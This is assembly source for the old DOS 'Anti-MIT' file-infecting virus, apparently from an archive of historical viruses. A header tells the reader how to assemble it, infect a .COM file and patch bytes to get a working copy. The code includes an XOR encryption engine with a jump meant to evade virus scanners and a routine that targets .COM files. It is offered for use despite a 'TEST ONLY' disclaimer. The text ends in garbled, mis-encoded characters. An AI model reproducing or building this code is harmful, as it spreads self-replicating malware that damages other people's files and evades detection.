mit.asm

More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use

;                          **  Anti-MIT Virus **
;       To assemble, use TASM and TLINK to create a .COM file. Next
;    run the .COM file in the same directory of a file you want to infect.
;    Your system may hang, but after re-booting you will notice an increase
;    in the target files size. Now debug the newly infected file and replace
;    the first three bytes with E8 05 00 (call to encryption). Re-write the
;    .COM file and now you should have a running copy of the Anti-Mit virus!
;
;                 - Do not distribute the Anti-MIT virus for this
;                 activity is against the law! The author will take
;                 NO responsiblity for others.
;                                 TEST ONLY
;
;                        For more info see MIT.DOX file.




name    AntiMIT
	title   Anti-MIT: The original Anti-MIT virus code! 
	.radix  16
code    segment
	assume  cs:code,ds:code
	org     100

buffer  equ     offset 20000d                 ; Buffer
fname   equ     offset 20000d + 1eh           ; DTA - File name
ftime   equ     offset 20000d + 16h           ; DTA - File time
fsize   equ     offset 20000d + 1ah           ; DTA - File size
olddta  equ     80                            ; Old DTA area

start:
	jmp     main                          ; *See above*
	nop
	jmp     main                          ; Jmp to virus body

encrypt_val     db      0                     ; Randomized encryption value

decrypt:                                      ; Encrypt/decrypt engine
encrypt:                                      ; [SKISM type]
     lea        si, data
     mov        ah, encrypt_val
     jmp        fool_em                       ; Fool with the scanners

xor_loop:
     lodsb                                    ; ds:[si] -> al
     xor     al, ah
     stosb                                    ; al -> es:[di]
     loop    xor_loop
     mov     ah,19h                           ; Set current drive as default
     int     21h
     mov     dh,al
     mov     ah,0eh
     int     21h
     ret                

fool_em:
     mov        di, si
     mov        cx, stop_encrypt - data
     jmp        xor_loop



data            label   byte                  ; Virus data
message         db      'MIT Sux! $'          ; The "message"
lengthp         dw      ?                     ; Length of infected file
allcom          db      '*.COM',0             ; What to search for
virus           db      '[Anti-MIT]',0        ; Virus name
author          db      'F宺s豐tr宬